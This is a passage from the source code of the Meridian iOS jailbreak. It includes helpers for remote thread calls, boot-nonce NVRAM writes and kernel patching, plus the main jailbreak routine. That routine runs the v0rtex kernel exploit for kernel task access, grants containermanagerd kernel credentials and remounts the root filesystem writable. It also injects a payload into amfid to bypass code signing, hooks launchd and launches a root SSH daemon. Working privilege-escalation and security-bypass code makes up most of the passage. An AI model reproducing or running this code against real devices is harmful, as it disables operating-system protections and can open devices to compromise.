NSLog(@"error getting thread state: %s\n", mach_error_string(err)); return 0; } if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){ // thread has returned from the target function break; } // thread isn't in the infinite loop yet, let it continue } // deallocate the remote thread err = thread_terminate(thread_port); if (err != KERN_SUCCESS){ NSLog(@"failed to terminate thread\n"); return 0; } mach_port_deallocate(mach_task_self(), thread_port); // handle post-call argument cleanup/copying: for (int i = 0; i < MAX_REMOTE_ARGS; i++){ arg_desc* arg = args[i]; if (arg == NULL){ break; } switch (arg->type){ case ARG_BUFFER: { remote_free(task_port, remote_buffers[i], arg->length); break; } case ARG_INOUT_BUFFER: case ARG_OUT_BUFFER: { // copy the contents back: remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length); remote_free(task_port, remote_buffers[i], arg->length); break; } } } uint64_t ret_val = thread_state.__x[0]; // NSLog(@"remote function call return value: %llx\n", ret_val); // deallocate the stack in the target: remote_free(task_port, remote_stack_base, remote_stack_size); return ret_val; } ================================================ FILE: Meridian/Meridian/helpers/main.m ================================================ // // main.m // Meridian // // Created by Ben Sparkes on 22/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #import #import "AppDelegate.h" int main(int argc, char * argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); } } ================================================ FILE: Meridian/Meridian/helpers/nonce.h ================================================ // // nonce.h // Meridian // // Created by Ben on 29/07/2018. // #ifndef nonce_h #define nonce_h int set_boot_nonce(const char *gen); const char *copy_boot_nonce(void); #endif /* nonce_h */ ================================================ FILE: Meridian/Meridian/helpers/nonce.m ================================================ // // nonce.m // Meridian // // Created by Ben on 29/07/2018. // #import #include "iokit.h" #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" #define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY" #define kNonceKey "com.apple.System.boot-nonce" CFMutableDictionaryRef makeDict(const char *key, const char *val) { CFStringRef cfKey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull); CFStringRef cfVal = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull); CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); if (!cfKey || !dict || !cfVal) { return NULL; } CFDictionarySetValue(dict, cfKey, cfVal); CFRelease(cfKey); CFRelease(cfVal); return dict; } int applyDict(CFMutableDictionaryRef dict) { io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); if (!MACH_PORT_VALID(nvram)) { return 1; } kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict); if (kret != KERN_SUCCESS) { return 1; } return 0; } int applyToNvram(const char *key, const char *val) { CFMutableDictionaryRef dict = makeDict(key, val); if (!dict) { return 1; } int ret = applyDict(dict); CFRelease(dict); return ret; } int set_boot_nonce(const char *gen) { int ret = applyToNvram(kIONVRAMDeletePropertyKey, kNonceKey); // set even if deletion failed ret = applyToNvram(kNonceKey, gen); ret = ret || applyToNvram(kIONVRAMForceSyncNowPropertyKey, kNonceKey); return ret; } const char *copy_boot_nonce() { uint32_t length = 1024; char buf[length]; mach_port_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); if (!MACH_PORT_VALID(nvram)) { return NULL; } kern_return_t err = IORegistryEntryGetProperty(nvram, "com.apple.System.boot-nonce", (void *)buf, &length); if (err != KERN_SUCCESS) { return NULL; } buf[length] = '\0'; return strdup(buf); } ================================================ FILE: Meridian/Meridian/helpers/nvpatch.c ================================================ /* * nvpatch.c - Patch kernel to unrestrict NVRAM variables * * Copyright (c) 2014 Samuel Groß * Copyright (c) 2016 Pupyshev Nikita * Copyright (c) 2017 Siguza */ #include // errno #include // fprintf, stderr #include // free, malloc #include // memmem, strcmp, strnlen #include // vm_address_t #include #include "kernel.h" #define MAX_HEADER_SIZE 0x4000 #define STRING_SEG "__TEXT" #define STRING_SEC "__cstring" #define OFVAR_SEG "__DATA" #define OFVAR_SEC "__data" enum { kOFVarTypeBoolean = 1, kOFVarTypeNumber, kOFVarTypeString, kOFVarTypeData, }; enum { kOFVarPermRootOnly = 0, kOFVarPermUserRead, kOFVarPermUserWrite, kOFVarPermKernelOnly, }; typedef struct { vm_address_t name; uint32_t type; uint32_t perm; int32_t offset; } OFVar; typedef struct { vm_address_t addr; vm_size_t len; char *buf; } segment_t; int nvpatch(const char *target) { struct mach_header_64 *hdr = malloc(MAX_HEADER_SIZE); if (hdr == NULL) return -1; memset(hdr, 0, MAX_HEADER_SIZE); kread(kernel_base, hdr, MAX_HEADER_SIZE); segment_t cstring = { .addr = 0, .len = 0, .buf = NULL, }, data = { .addr = 0, .len = 0, .buf = NULL, }; for (struct load_command *cmd = (struct load_command *)(hdr + 1), *end = (struct load_command *)((char *)cmd + hdr->sizeofcmds); cmd < end; cmd = (struct load_command *)((char *)cmd + cmd->cmdsize)) { switch (cmd->cmd) { case LC_SEGMENT_64: { struct segment_command_64 *seg = (struct segment_command_64 *)cmd; struct section_64 *sec = (struct section_64 *)(seg + 1); for (size_t i = 0; i < seg->nsects; ++i) { if (strcmp(sec[i].segname, STRING_SEG) == 0 && strcmp(sec[i].sectname, STRING_SEC) == 0) { cstring.addr = sec[i].addr; cstring.len = sec[i].size; cstring.buf = malloc(cstring.len); kread(cstring.addr, cstring.buf, cstring.len); } else if (strcmp(sec[i].segname, OFVAR_SEG) == 0 && strcmp(sec[i].sectname, OFVAR_SEC) == 0) { data.addr = sec[i].addr; data.len = sec[i].size; data.buf = malloc(data.len); kread(data.addr, data.buf, data.len); } } } default: break; } } if (cstring.buf == NULL) { printf("failed to find %s.%s section \n", STRING_SEG, STRING_SEC); return -2; } if (data.buf == NULL) { printf("failed to find %s.%s section \n", OFVAR_SEG, OFVAR_SEC); return -3; } char first[] = "little-endian?"; char *str = memmem(cstring.buf, cstring.len, first, sizeof(first)); if (str == NULL) { printf("failed to find string %s \n", first); return -4; } vm_address_t str_addr = (str - cstring.buf) + cstring.addr; printf("found string %s at %lx \n", first, str_addr); OFVar *gOFVars = NULL; for (vm_address_t *ptr = (vm_address_t *)data.buf, *end = (vm_address_t *)&data.buf[data.len]; ptr < end; ++ptr) { if (*ptr == str_addr) { gOFVars = (OFVar *)ptr; break; } } if (gOFVars == NULL) { printf("failed to find gOFVariables \n"); return -5; } vm_address_t gOFAddr = ((char *)gOFVars - data.buf) + data.addr; printf("found gOFVariables at %lx \n", gOFAddr); size_t numvars = 0; size_t longest_name = 0; for (OFVar *var = gOFVars; (char *)var < &data.buf[data.len]; ++var) { if (var->name == 0) { break; } if (var->name < cstring.addr || var->name >= cstring.addr + cstring.len) { printf("gOFVariables[%lu].name is out of bounds \n", numvars); return -6; } char *name = &cstring.buf[var->name - cstring.addr]; size_t maxlen = cstring.len - (name - cstring.buf); size_t namelen = strnlen(name, maxlen); if (namelen == maxlen) { printf("gOFVariables[%lu].name exceeds __cstring size \n", numvars); return -7; } for (size_t i = 0; i < namelen; ++i) { if (name[i] < 0x20 || name[i] > 0x7f) { printf("gOFVariables[%lu].name contains non-printable character: 0x%02x \n", numvars, name[i]); return -8; } } longest_name = namelen > longest_name ? namelen : longest_name; switch (var->type) { case kOFVarTypeBoolean: case kOFVarTypeNumber: case kOFVarTypeString: case kOFVarTypeData: break; default: printf("gOFVariables[%lu] has unknown type: 0x%x \n", numvars, var->type); return -9; } switch (var->perm) { case kOFVarPermRootOnly: case kOFVarPermUserRead: case kOFVarPermUserWrite: case kOFVarPermKernelOnly: break; default: printf("gOFVariables[%lu] has unknown permissions: 0x%x \n", numvars, var->perm); return -10; } ++numvars; } if (numvars <= 0) { printf("gOFVariables contains zero entries \n"); return -11; } for (size_t i = 0; i < numvars; ++i) { char *name = &cstring.buf[gOFVars[i].name - cstring.addr]; if (strcmp(name, target) == 0) { if (gOFVars[i].perm != kOFVarPermKernelOnly) { printf("target var %s is not set as kernel-only \n", target); goto done; } vm_size_t off = ((char *)&gOFVars[i].perm) - data.buf; uint32_t newperm = kOFVarPermUserWrite; kwrite(data.addr + off, &newperm, sizeof(newperm)); printf("great success for var %s! \n", target); goto done; } } printf("failed to find variable %s! \n", target); return -13; done:; free(cstring.buf); free(data.buf); free(hdr); return 0; } ================================================ FILE: Meridian/Meridian/helpers/nvpatch.h ================================================ // // nvpatch.h // Meridian // // Created by Ben Sparkes on 11/05/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #ifndef nvpatch_h #define nvpatch_h int nvpatch(const char *target); #endif /* nvpatch_h */ ================================================ FILE: Meridian/Meridian/helpers/untar.h ================================================ // // untar.h // Meridian // // Created by Ben Sparkes on 16/02/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #ifndef untar_h #define untar_h int untar(FILE *a, const char *path); #endif /* untar_h */ ================================================ FILE: Meridian/Meridian/helpers/untar.m ================================================ /* * "untar" is an extremely simple tar extractor: * * A single C source file, so it should be easy to compile * and run on any system with a C compiler. * * Extremely portable standard C. The only non-ANSI function * used is mkdir(). * * Reads basic ustar tar archives. * * Does not require libarchive or any other special library. * * To compile: cc -o untar untar.c * * Usage: untar * * In particular, this program should be sufficient to extract the * distribution for libarchive, allowing people to bootstrap * libarchive on systems that do not already have a tar program. * * To unpack libarchive-x.y.z.tar.gz: * * gunzip libarchive-x.y.z.tar.gz * * untar libarchive-x.y.z.tar * * Written by Tim Kientzle, March 2009. * Modified by xerub, sometime in 2017. * * Released into the public domain. */ /* These are all highly standard and portable headers. */ #include #include #include #include #include #include /* This is for mkdir(); this may need to be changed for some platforms. */ #include /* For mkdir() */ #include /* Parse an octal number, ignoring leading and trailing nonsense. */ static int parseoct(const char *p, size_t n) { int i = 0; while (*p < '0' || *p > '7') { ++p; --n; } while (*p >= '0' && *p <= '7' && n > 0) { i *= 8; i += *p - '0'; ++p; --n; } return (i); } /* Returns true if this is 512 zero bytes. */ static int is_end_of_archive(const char *p) { int n; for (n = 511; n >= 0; --n) if (p[n] != '\0') return (0); return (1); } /* Create a directory, including parent directories as necessary. */ static void create_dir(char *pathname, int mode, int owner, int group) { char *p; int r; struct stat st; r = stat(pathname, &st); if (r == 0) { return; } /* Strip trailing '/' */ if (pathname[strlen(pathname) - 1] == '/') pathname[strlen(pathname) - 1] = '\0'; /* Try creating the directory. */ r = mkdir(pathname, mode); if (r != 0) { /* On failure, try creating parent directory. */ p = strrchr(pathname, '/'); if (p != NULL) { *p = '\0'; create_dir(pathname, 0755, -1, -1); *p = '/'; r = mkdir(pathname, mode); } } if (r != 0) NSLog(@"Could not create directory %s", pathname); else if (owner >= 0 && group >= 0) chown(pathname, owner, group); } /* Create a file, including parent directory as necessary. */ static int create_file(char *pathname, int mode, int owner, int group) { int f; if (unlink(pathname) && errno != ENOENT) { return -1; } f = creat(pathname, mode); if (f < 0) { /* Try creating parent dir and then creating file. */ char *p = strrchr(pathname, '/'); if (p != NULL) { *p = '\0'; create_dir(pathname, 0755, -1, -1); *p = '/'; f = creat(pathname, mode); } } fchown(f, owner, group); return (f); } /* Verify the tar checksum. */ static int verify_checksum(const char *p) { int n, u = 0; for (n = 0; n < 512; ++n) { if (n < 148 || n > 155) /* Standard tar checksum adds unsigned bytes. */ u += ((unsigned char *)p)[n]; else u += 0x20; } return (u == parseoct(p + 148, 8)); } /* Extract a tar archive. */ int untar(FILE *a, const char *path) { char buff[512]; int f = -1; size_t bytes_read; int filesize; NSLog(@"Extracting from %s", path); for (;;) { bytes_read = fread(buff, 1, 512, a); if (bytes_read < 512) { NSLog(@"Short read on %s: expected 512, got %d", path, (int)bytes_read); return -1; } if (is_end_of_archive(buff)) { NSLog(@"End of %s", path); return 0; } if (!verify_checksum(buff)) { NSLog(@"Checksum failure"); return -2; } filesize = parseoct(buff + 124, 12); switch (buff[156]) { case '1': NSLog(@" Ignoring hardlink %s", buff); break; case '2': NSLog(@" Extracting symlink %s -> %s", buff, buff + 157); if (unlink(buff) && errno != ENOENT) { break; } symlink(buff + 157, buff); break; case '3': NSLog(@" Ignoring character device %s", buff); break; case '4': NSLog(@" Ignoring block device %s", buff); break; case '5': NSLog(@" Extracting dir %s", buff); create_dir(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8)); filesize = 0; break; case '6': NSLog(@" Ignoring FIFO %s", buff); break; default: NSLog(@" Extracting file %s", buff); f = create_file(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8)); break; } while (filesize > 0) { bytes_read = fread(buff, 1, 512, a); if (bytes_read < 512) { NSLog(@"Short read on %s: Expected 512, got %zd", path, bytes_read); return -3; } if (filesize < 512) bytes_read = filesize; if (f >= 0) { if (write(f, buff, bytes_read) != bytes_read) { NSLog(@"Failed write"); close(f); f = -1; } } filesize -= bytes_read; } if (f >= 0) { close(f); f = -1; } } return 0; } ================================================ FILE: Meridian/Meridian/jailbreak.h ================================================ // // jailbreak.h // Meridian // // Created by Ben Sparkes on 16/02/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #ifndef jailbreak_h #define jailbreak_h BOOL great_success; int makeShitHappen(id view); int runV0rtex(void); int patchContainermanagerd(void); int remountRootFs(void); int extractMeridianData(void); void setUpSymLinks(void); int extractBootstrap(int *exitCode); int defecateAmfi(void); int launchDropbear(void); void setUpSubstitute(void); int startJailbreakd(void); int loadLaunchDaemons(void); void enableHiddenApps(void); #endif /* jailbreak_h */ ================================================ FILE: Meridian/Meridian/jailbreak.m ================================================ // // jailbreak.m // Meridian // // Created by Ben Sparkes on 16/02/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #include "v0rtex.h" #include "kernel.h" #include "helpers.h" #include "root-rw.h" #include "amfi.h" #include "offsetfinder.h" #include "jailbreak.h" #include "preferences.h" #include "ViewController.h" #include "patchfinder64.h" #include "patchfinders/offsetdump.h" #include "nvpatch.h" #include "nonce.h" #include #include #import NSFileManager *fileMgr; offsets_t *offsets; BOOL great_success = FALSE; int makeShitHappen(ViewController *view) { int ret; fileMgr = [NSFileManager defaultManager]; // run v0rtex [view writeText:@"running v0rtex..."]; suspend_all_threads(); ret = runV0rtex(); resume_all_threads(); if (ret != 0) { [view writeText:@"failed!"]; if (ret == -420) { [view writeTextPlain:@"failed to load offsets!"]; } return 1; } [view writeTextPlain:@"succeeded! praize siguza!"]; // set up stuff init_patchfinder(NULL); ret = init_amfi(); if (ret != 0) { [view writeTextPlain:@"failed to initialize amfi class!"]; return 1; } // patch containermanager [view writeText:@"patching containermanager..."]; ret = patchContainermanagerd(); if (ret != 0) { [view writeText:@"failed!"]; return 1; } [view writeText:@"done!"]; // remount root fs [view writeText:@"remounting rootfs as r/w..."]; ret = remountRootFs(); if (ret != 0) { [view writeText:@"failed!"]; return 1; } [view writeText:@"done!"]; /* Begin the filesystem fuckery */ [view writeText:@"some filesytem fuckery..."]; // Remove /meridian in the case of PB's if (file_exists("/meridian") == 0 && file_exists("/meridian/.bootstrap") != 0) { [fileMgr removeItemAtPath:@"/meridian" error:nil]; } if (file_exists("/meridian") != 0) { ret = mkdir("/meridian", 0755); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"creating /meridian failed with error %d: %s", errno, strerror(errno)]; return 1; } } if (file_exists("/meridian/logs") != 0) { ret = mkdir("/meridian/logs", 0755); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"creating /meridian/logs failed with error %d: %s", errno, strerror(errno)]; return 1; } } if (file_exists("/meridian/tar") == 0) { ret = unlink("/meridian/tar"); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"removing /meridian/tar failed with error %d: %s", errno, strerror(errno)]; return 1; } } if (file_exists("/meridian/tar.tar") == 0) { ret = unlink("/meridian/tar.tar"); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"deleting /meridian/tar.tar failed with error %d: %s", errno, strerror(errno)]; return 1; } } ret = extract_bundle("tar.tar", "/meridian"); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"failed to extract tar.tar bundle! ret: %d, errno: %d: %s", ret, errno, strerror(errno)]; return 1; } if (file_exists("/meridian/tar") != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"/meridian/tar was not found :("]; return 1; } ret = chmod("/meridian/tar", 0755); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"chmod(755)'ing /meridian/tar failed with error %d: %s", errno, strerror(errno)]; return 1; } ret = inject_trust("/meridian/tar"); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"injecting trust to /meridian/tar failed with retcode %d", ret]; return 1; } [view writeText:@"done!"]; // extract meridian-bootstrap [view writeText:@"extracting meridian files..."]; ret = extractMeridianData(); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:[NSString stringWithFormat:@"error code: %d", ret]]; return 1; } [view writeText:@"done!"]; // dump offsets to file for later use (/meridian/offsets.plist) dumpOffsetsToFile(offsets, kernel_base, kslide); // patch amfid [view writeText:@"patching amfid..."]; ret = defecateAmfi(); if (ret != 0) { [view writeText:@"failed!"]; if (ret > 0) { [view writeTextPlain:[NSString stringWithFormat:@"failed to patch - %d tries", ret]]; } return 1; } [view writeText:@"done!"]; // touch .cydia_no_stash touch_file("/.cydia_no_stash"); // extract bootstrap (if not already extracted) if (file_exists("/meridian/.bootstrap") != 0) { [view writeText:@"extracting bootstrap..."]; int exitCode = 0; ret = extractBootstrap(&exitCode); if (ret != 0) { [view writeText:@"failed!"]; switch (ret) { case 1: [view writeTextPlain:@"failed to extract system-base.tar"]; break; case 2: [view writeTextPlain:@"failed to extract installer-base.tar"]; break; case 3: [view writeTextPlain:@"failed to extract dpkgdb-base.tar"]; break; case 4: [view writeTextPlain:@"failed to extract cydia-base.tar"]; break; case 5: [view writeTextPlain:@"failed to extract optional-base.tar"]; break; case 6: [view writeTextPlain:@"failed to run uicache!"]; break; } [view writeTextPlain:@"exit code: %d", exitCode]; return 1; } [view writeText:@"done!"]; } // add the midnight repo if (file_exists("/etc/apt/sources.list.d/meridian.list") != 0) { FILE *fd = fopen("/etc/apt/sources.list.d/meridian.list", "w+"); const char *text = "deb http://repo.midnight.team ./"; fwrite(text, strlen(text) + 1, 1, fd); fclose(fd); } // launch dropbear if (startDropbearIsEnabled()) { [view writeText:@"launching dropbear..."]; ret = launchDropbear(); if (ret != 0) { [view writeText:@"failed!"]; [view writeTextPlain:@"exit code: %d", ret]; return 1; } [view writeText:@"done!"]; } // link substitute stuff setUpSubstitute(); // symlink /Library/MobileSubstrate/DynamicLibraries -> /usr/lib/tweaks setUpSymLinks(); // remove Substrate's SafeMode (MobileSafety) if it's installed // removing from dpkg will be handled by Cydia conflicts later if (file_exists("/usr/lib/tweaks/MobileSafety.dylib") == 0) { unlink("/usr/lib/tweaks/MobileSafety.dylib"); } if (file_exists("/usr/lib/tweaks/MobileSafety.plist") == 0) { unlink("/usr/lib/tweaks/MobileSafety.plist"); } // start jailbreakd [view writeText:@"starting jailbreakd..."]; ret = startJailbreakd(); if (ret != 0) { [view writeText:@"failed"]; if (ret > 1) { [view writeTextPlain:@"failed to launch - %d tries", ret]; } return 1; } [view writeText:@"done!"]; // patch com.apple.System.boot-nonce [view writeText:@"patching boot-nonce..."]; ret = nvpatch("com.apple.System.boot-nonce"); if (ret != 0) { [view writeText:@"failed!"]; return 1; } [view writeText:@"done!"]; // Get generator from settings char nonceRaw[19]; sprintf(nonceRaw, "0x%016llx", getBootNonceValue()); nonceRaw[18] = '\0'; // Set new nonce (if required) const char *boot_nonce = copy_boot_nonce(); if (boot_nonce == NULL || strcmp(boot_nonce, nonceRaw) != 0) { [view writeText:@"setting boot-nonce..."]; set_boot_nonce(nonceRaw); [view writeText:@"done!"]; } if (boot_nonce != NULL) { free((void *)boot_nonce); } // load launchdaemons if (startLaunchDaemonsIsEnabled()) { [view writeText:@"loading launchdaemons..."]; ret = loadLaunchDaemons(); if (ret != 0) { [view writeText:@"failed!"]; return 1; } [view writeText:@"done!"]; } if (file_exists("/.meridian_installed") != 0) { touch_file("/.meridian_installed"); } great_success = TRUE; return 0; } kern_return_t callback(task_t kern_task, kptr_t kbase, void *cb_data) { tfp0 = kern_task; kernel_base = kbase; kslide = kernel_base - 0xFFFFFFF007004000; return KERN_SUCCESS; } int runV0rtex() { offsets = get_offsets(); if (offsets == NULL) { return -420; } int ret = v0rtex(offsets, &callback, NULL); uint64_t kernel_task_addr = rk64(offsets->kernel_task + kslide); kernprocaddr = rk64(kernel_task_addr + offsets->task_bsd_info); kern_ucred = rk64(kernprocaddr + offsets->proc_ucred); if (ret == 0) { NSLog(@"tfp0: 0x%x", tfp0); NSLog(@"kernel_base: 0x%llx", kernel_base); NSLog(@"kslide: 0x%llx", kslide); NSLog(@"kern_ucred: 0x%llx", kern_ucred); NSLog(@"kernprocaddr: 0x%llx", kernprocaddr); } return ret; } int patchContainermanagerd() { uint64_t cmgr = find_proc_by_name("containermanager"); if (cmgr == 0) { NSLog(@"unable to find containermanager!"); return 1; } wk64(cmgr + 0x100, kern_ucred); return 0; } int remountRootFs() { NSOperatingSystemVersion osVersion = [[NSProcessInfo processInfo] operatingSystemVersion]; int pre130 = osVersion.minorVersion < 3 ? 1 : 0; int rv = mount_root(kslide, offsets->root_vnode, pre130); if (rv != 0) { return 1; } return 0; } int extractMeridianData() { return extract_bundle_tar("meridian-bootstrap.tar"); } void setUpSymLinks() { struct stat file; stat("/Library/MobileSubstrate/DynamicLibraries", &file); if (file_exists("/Library/MobileSubstrate/DynamicLibraries") == 0 && file_exists("/usr/lib/tweaks") == 0 && S_ISLNK(file.st_mode)) { return; } // By the end of this check, /usr/lib/tweaks should exist containing any // tweaks (if applicable), and /Lib/MobSub/DynLib should NOT exist if (file_exists("/Library/MobileSubstrate/DynamicLibraries") == 0 && file_exists("/usr/lib/tweaks") != 0) { // Move existing tweaks folder to /usr/lib/tweaks [fileMgr moveItemAtPath:@"/Library/MobileSubstrate/DynamicLibraries" toPath:@"/usr/lib/tweaks" error:nil]; } else if (file_exists("/Library/MobileSubstrate/DynamicLibraries") == 0 && file_exists("/usr/lib/tweaks") == 0) { // Move existing tweaks to /usr/lib/tweaks and delete the MobSub folder NSArray *fileList = [fileMgr contentsOfDirectoryAtPath:@"/Library/MobileSubstrate/DynamicLibraries" error:nil]; for (NSString *item in fileList) { NSString *fullPath = [NSString stringWithFormat:@"/Library/MobileSubstrate/DynamicLibraries/%@", item]; [fileMgr moveItemAtPath:fullPath toPath:@"/usr/lib/tweaks" error:nil]; } [fileMgr removeItemAtPath:@"/Library/MobileSubstrate/DynamicLibraries" error:nil]; } else if (file_exists("/Library/MobileSubstrate/DynamicLibraries") != 0 && file_exists("/usr/lib/tweaks") != 0) { // Just create /usr/lib/tweaks - /Lib/MobSub/DynLibs doesn't exist mkdir("/Library/MobileSubstrate", 0755); mkdir("/usr/lib/tweaks", 0755); } else if (file_exists("/Library/MobileSubstrate/DynamicLibraries") != 0 && file_exists("/usr/lib/tweaks") == 0) { // We should be fine in this case mkdir("/Library/MobileSubstrate", 0755); } // Symlink it! symlink("/usr/lib/tweaks", "/Library/MobileSubstrate/DynamicLibraries"); } int extractBootstrap(int *exitCode) { int rv; // extract system-base.tar rv = extract_bundle_tar("system-base.tar"); if (rv != 0) { *exitCode = rv; return 1; } // extract installer-base.tar rv = extract_bundle_tar("installer-base.tar"); if (rv != 0) { *exitCode = rv; return 2; } if (file_exists("/private/var/lib/dpkg/status") != 0) { [fileMgr removeItemAtPath:@"/private/var/lib/dpkg" error:nil]; [fileMgr removeItemAtPath:@"/Library/dpkg" error:nil]; rv = extract_bundle_tar("dpkgdb-base.tar"); if (rv != 0) { *exitCode = rv; return 3; } } // extract cydia-base.tar rv = extract_bundle_tar("cydia-base.tar"); if (rv != 0) { *exitCode = rv; return 4; } // extract optional-base.tar rv = extract_bundle_tar("optional-base.tar"); if (rv != 0) { *exitCode = rv; return 5; } enableHiddenApps(); touch_file("/meridian/.bootstrap"); rv = uicache(); if (rv != 0) { *exitCode = rv; return 6; } return 0; } int defecateAmfi() { // trust our payload int ret = inject_trust("/meridian/amfid_payload.dylib"); if (ret != 0) return -1; unlink("/var/tmp/amfid_payload.alive"); pid_t pid = get_pid_for_name("amfid"); if (pid == 0) { return -2; } ret = inject_library(pid, "/meridian/amfid_payload.dylib"); if (ret != 0) return -2; int tries = 0; while (file_exists("/var/tmp/amfid_payload.alive") != 0) { if (tries >= 100) { NSLog(@"failed to patch amfid (%d tries)", tries); return tries; } NSLog(@"waiting for amfid patch..."); usleep(100000); // 0.1 sec tries++; } return 0; } int launchDropbear() { NSMutableArray *args = [NSMutableArray arrayWithCapacity:11]; [args addObject:@"/meridian/dropbear/dropbear"]; switch (listenPort()) { case Port22: [args addObjectsFromArray:@[@"-p", @"22"]]; break; case Port2222: [args addObjectsFromArray:@[@"-p", @"2222"]]; break; default: NSLog(@"DEFAULT WTF"); case Port222222: [args addObjectsFromArray:@[@"-p", @"22", @"-p", @"2222"]]; break; } [args addObjectsFromArray:@[@"-F", @"-R", @"-E", @"-m", @"-S", @"/"]]; NSMutableDictionary *newPrefs = [NSMutableDictionary dictionaryWithContentsOfFile:@"/meridian/dropbear/dropbear.plist"]; newPrefs[@"ProgramArguments"] = args; [newPrefs writeToFile:@"/meridian/dropbear/dropbear.plist" atomically:false]; return start_launchdaemon("/meridian/dropbear/dropbear.plist"); } void setUpSubstitute() { // link CydiaSubstrate.framework -> /usr/lib/libsubstrate.dylib if (file_exists("/Library/Frameworks/CydiaSubstrate.framework") == 0) { [fileMgr removeItemAtPath:@"/Library/Frameworks/CydiaSubstrate.framework" error:nil]; } mkdir("/Library/Frameworks", 0755); mkdir("/Library/Frameworks/CydiaSubstrate.framework", 0755); symlink("/usr/lib/libsubstrate.dylib", "/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate"); } int startJailbreakd() { unlink("/var/tmp/jailbreakd.pid"); NSData *blob = [NSData dataWithContentsOfFile:@"/meridian/jailbreakd/jailbreakd.plist"]; NSMutableDictionary *job = [NSPropertyListSerialization propertyListWithData:blob options:NSPropertyListMutableContainers format:nil error:nil]; job[@"EnvironmentVariables"][@"KernelBase"] = [NSString stringWithFormat:@"0x%16llx", kernel_base]; job[@"EnvironmentVariables"][@"KernProcAddr"] = [NSString stringWithFormat:@"0x%16llx", kernprocaddr]; job[@"EnvironmentVariables"][@"ZoneMapOffset"] = [NSString stringWithFormat:@"0x%16llx", offsets->zone_map]; job[@"EnvironmentVariables"][@"AddRetGadget"] = [NSString stringWithFormat:@"0x%16llx", find_add_x0_x0_0x40_ret()]; job[@"EnvironmentVariables"][@"OSBooleanTrue"] = [NSString stringWithFormat:@"0x%16llx", find_OSBoolean_True()]; job[@"EnvironmentVariables"][@"OSBooleanFalse"] = [NSString stringWithFormat:@"0x%16llx", find_OSBoolean_False()]; job[@"EnvironmentVariables"][@"OSUnserializeXML"] = [NSString stringWithFormat:@"0x%16llx", find_OSUnserializeXML()]; job[@"EnvironmentVariables"][@"Smalloc"] = [NSString stringWithFormat:@"0x%16llx", find_smalloc()]; [job writeToFile:@"/meridian/jailbreakd/jailbreakd.plist" atomically:YES]; chmod("/meridian/jailbreakd/jailbreakd.plist", 0600); chown("/meridian/jailbreakd/jailbreakd.plist", 0, 0); int rv = start_launchdaemon("/meridian/jailbreakd/jailbreakd.plist"); if (rv != 0) return 1; int tries = 0; while (file_exists("/var/tmp/jailbreakd.pid") != 0) { printf("Waiting for jailbreakd \n"); tries++; usleep(300000); // 300ms if (tries >= 100) { NSLog(@"too many tries for jbd - %d", tries); return tries; } } if (tweaksAreEnabled()) { sleep(2); rv = inject_trust("/usr/lib/pspawn_hook.dylib"); if (rv != 0) return 2; // inject pspawn_hook.dylib to launchd rv = inject_library(1, "/usr/lib/pspawn_hook.dylib"); if (rv != 0) return 3; } return 0; } int loadLaunchDaemons() { NSArray *daemons = [fileMgr contentsOfDirectoryAtPath:@"/Library/LaunchDaemons" error:nil]; for (NSString *file in daemons) { NSString *path = [NSString stringWithFormat:@"/Library/LaunchDaemons/%@", file]; NSLog(@"found launchdaemon: %@", path); chmod([path UTF8String], 0755); chown([path UTF8String], 0, 0); } return start_launchdaemon("/Library/LaunchDaemons"); } void enableHiddenApps() { // enable showing of system apps on springboard // this is some funky killall stuff tho killall("cfprefsd", "-SIGSTOP"); NSMutableDictionary* md = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"]; [md setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"]; [md writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES]; killall("cfprefsd", "-9"); } ================================================ FILE: Meridian/Meridian/mach/jailbreak_daemonUser.c ================================================ /* * IDENTIFICATION: * stub generated Tue Aug 14 18:38:08 2018 * with a MiG generated by bootstrap_cmds-96.20.2 * OPTIONS: */ #define __MIG_check__Reply__jailbreak_daemon_subsystem__ 1 #include "jailbreak_daemonUser.h" #ifndef mig_internal #define mig_internal static __inline__ #endif /* mig_internal */ #ifndef mig_external #define mig_external #endif /* mig_external */ #if !defined(__MigTypeCheck) && defined(TypeCheck) #define __MigTypeCheck TypeCheck /* Legacy setting */ #endif /* !defined(__MigTypeCheck) */ #if !defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_) #define __MigKernelSpecificCode _MIG_KERNEL_SPECIFIC_CODE_ /* Legacy setting */ #endif /* !defined(__MigKernelSpecificCode) */ 